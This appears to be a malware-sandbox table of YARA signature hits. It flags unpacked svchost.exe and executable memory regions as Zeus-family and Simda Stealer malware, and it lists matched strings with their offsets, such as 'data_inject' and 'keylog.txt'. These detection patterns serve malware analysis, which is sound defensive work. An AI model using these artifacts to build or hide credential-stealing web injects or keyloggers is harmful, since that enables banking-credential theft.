2.2.svchost.exe.2c70000.4.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.27.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ea2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.15b0000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.47.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2b80000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
0.2.UMwpXhA46R.exe.400000.2.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
0.2.UMwpXhA46R.exe.400000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.28.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.33.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.46.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.23.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.13.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.30.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.2.UMwpXhA46R.exe.407000.0.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.42.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.2.svchost.exe.29f3c00.3.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.15.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.27a0000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.2.svchost.exe.2cd1c00.5.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.55.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2672000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2af2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.42.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.24f2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.54.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2d80000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ca0000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.2.UMwpXhA46R.exe.406400.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x463f4:$a1: name=%s&port=%u 0x45bc8:$a2: data_inject 0x45d7c:$a3: keylog.txt 0x45a5d:$a4: User-agent: %s]]] 0x46544:$a5: %s\%02d.bmp
9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.a20000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.2.svchost.exe.407000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.29.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
2.2.svchost.exe.400000.0.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4dbf4:$a1: name=%s&port=%u 0x4d3c8:$a2: data_inject 0x4d57c:$a3: keylog.txt 0x4d25d:$a4: User-agent: %s]]] 0x4dd44:$a5: %s\%02d.bmp
2.3.svchost.exe.886000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x463f4:$a1: name=%s&port=%u 0x45bc8:$a2: data_inject 0x45d7c:$a3: keylog.txt 0x45a5d:$a4: User-agent: %s]]] 0x46544:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.51.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.37.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.9c2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.25f2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2b80000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.51.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.18.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.48.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2e82000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.37.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.3.UMwpXhA46R.exe.7081e8.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x463f4:$a1: name=%s&port=%u 0x45bc8:$a2: data_inject 0x45d7c:$a3: keylog.txt 0x45a5d:$a4: User-agent: %s]]] 0x46544:$a5: %s\%02d.bmp
2.3.svchost.exe.f380000.11.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.22.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.9.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.18.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.27.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.24.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11e2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.26.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.3.UMwpXhA46R.exe.7031e8.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4b3f4:$a1: name=%s&port=%u 0x4abc8:$a2: data_inject 0x4ad7c:$a3: keylog.txt 0x4aa5d:$a4: User-agent: %s]]] 0x4b544:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.35.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ab2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.54.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.41.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0.3.UMwpXhA46R.exe.708de8.0.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.3c40000.17.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.35.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.9.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.25.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.886c00.3.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.41.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.32.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1552000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.2.svchost.exe.407000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
0.2.UMwpXhA46R.exe.400000.2.raw.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
0.2.UMwpXhA46R.exe.400000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4dbf4:$a1: name=%s&port=%u 0x4d3c8:$a2: data_inject 0x4d57c:$a3: keylog.txt 0x4d25d:$a4: User-agent: %s]]] 0x4dd44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.31.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.44.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.15.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.39.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11d2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.9c2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
